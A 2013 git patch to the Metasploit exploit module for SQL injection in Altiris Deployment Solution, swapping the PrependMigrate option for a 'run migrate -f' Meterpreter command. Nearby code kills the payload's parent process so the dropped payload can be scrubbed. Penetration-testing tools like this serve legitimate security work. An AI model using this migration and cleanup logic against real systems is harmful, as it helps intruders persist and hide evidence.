From 85479f59948d521ed709fc9656a6f6f2d9c579e2 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 22 Oct 2013 16:11:19 -0400 Subject: [PATCH] removed PrependMigrate, introduced migrate -f --- modules/exploits/windows/mssql/altiris_ds_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/mssql/altiris_ds_sqli.rb b/modules/exploits/windows/mssql/altiris_ds_sqli.rb index 700d9e7c2d..44a462c1a0 100644 --- a/modules/exploits/windows/mssql/altiris_ds_sqli.rb +++ b/modules/exploits/windows/mssql/altiris_ds_sqli.rb @@ -39,7 +39,6 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'PrependMigrate' => true, 'EXITFUNC' => 'process', }, 'Targets' => @@ -208,6 +207,7 @@ Processor-Speed=2659 #can't scrub dropped payload while the process is still active so... #iterate through process list, find our process and the associated parent process ID, Kill the parent client.core.use("stdapi") + client.console.run_single("run migrate -f") client.sys.process.get_processes().each do |proc| if proc['pid'] == client.sys.process.open.pid client.sys.process.kill(proc['ppid'])